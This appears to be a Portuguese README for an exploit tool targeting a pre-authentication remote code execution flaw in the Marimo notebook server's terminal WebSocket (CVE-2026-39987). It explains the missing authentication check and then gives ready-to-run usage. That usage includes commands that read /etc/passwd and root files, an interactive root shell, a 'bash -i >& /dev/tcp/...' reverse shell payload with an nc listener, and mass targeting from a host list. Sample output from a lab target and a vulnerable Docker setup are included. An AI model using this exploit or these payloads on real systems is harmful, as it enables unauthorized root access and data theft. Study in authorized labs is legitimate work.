
Exploit para RCE pré-autenticação no Marimo via WebSocket do terminal, fornecendo execução de comandos, shell PTY interativo e capacidades de reverse shell para testes de penetração autorizados.
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket Unauthenticated RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo (19.6k ⭐) é um servidor de notebooks Python reativo de código aberto. As versões ≤ 0.20.4 expõem um endpoint WebSocket de terminal (/terminal/ws) que ignora completamente a autenticação, mesmo quando a autenticação está habilitada no servidor.
Uma única conexão WebSocket não autenticada gera um shell interativo PTY completo. Em implantações Docker padrão, os comandos são executados como root.
Status: Corrigido na versão
0.23.0— marimo-team/marimo@c24d480
O endpoint /terminal/ws não possui a chamada validate_auth() presente em todos os outros endpoints autenticados:
# ❌ /terminal/ws — sem verificação de autenticação (vulnerável)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# Sem verificação de autenticação!
await websocket.accept() # aceita diretamente
child_pid, fd = pty.fork() # gera um shell PTY
# ✅ /ws — autenticado corretamente
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # autenticação aplicada
return
O AuthenticationMiddleware do Marimo marca conexões não autenticadas como UnauthenticatedUser, mas não as rejeita — a aplicação depende inteiramente de decoradores por endpoint ou chamadas validate_auth(). O /terminal/ws não possui nenhum dos dois.
1. Conecte-se a ws(s)://ALVO/terminal/ws → nenhum token necessário
2. websocket.accept() → conexão aceita
3. pty.fork() → shell PTY gerado
4. Envie qualquer comando → RCE arbitrário como root
| Software | Vulnerável | Corrigido |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
Entre diretamente em um shell interativo via WebSocket — nenhum listener necessário:
python3 CVE-2026-39987.py -u target.htb -i
[+] Shell interativo — digite comandos, Ctrl+C ou 'exit' para sair
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
Ao usar um payload de reverse shell, desanexe o processo do PTY com nohup ... &
para que ele sobreviva ao fechamento da conexão WebSocket:
# Configure o listener primeiro
nc -lvnp 4444
# Depois dispare o payload
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️ Sem
nohup ... &, o processo do shell fica vinculado ao PTY e é morto quando o WebSocket fecha. Use-ipara um shell direto ounohuppara reverse shells.
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL URL de alvo único ou host
-l LIST, --list LIST arquivo com alvos, um por linha
-c CMD, --cmd CMD comando a executar (padrão: id && cat /root/root.txt)
-p PATH, --path PATH caminho do endpoint WebSocket (padrão: /terminal/ws)
-t SEC, --timeout SEC segundos de silêncio antes de desistir (padrão: 2)
-d SEC, --delay SEC atraso pós-conexão antes de drenar o banner (padrão: 1)
-i, --interactive shell PTY interativo — mantém a conexão aberta
--verify habilita verificação de certificado SSL (desabilitada por padrão)
-q, --quiet suprime mensagens de status, apenas saída
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] Alvo : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] Modo : comando
[*] Comando : id && cat /root/root.txt
[*] Conectando...
[*] Drenando banner...
[+] Enviando payload...
[+] Saída:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
Esta ferramenta é fornecida apenas para fins educacionais e de testes de penetração autorizados.
O autor não é responsável por qualquer uso indevido ou dano causado por esta ferramenta.
Sempre obtenha autorização adequada antes de testar qualquer sistema que você não possua.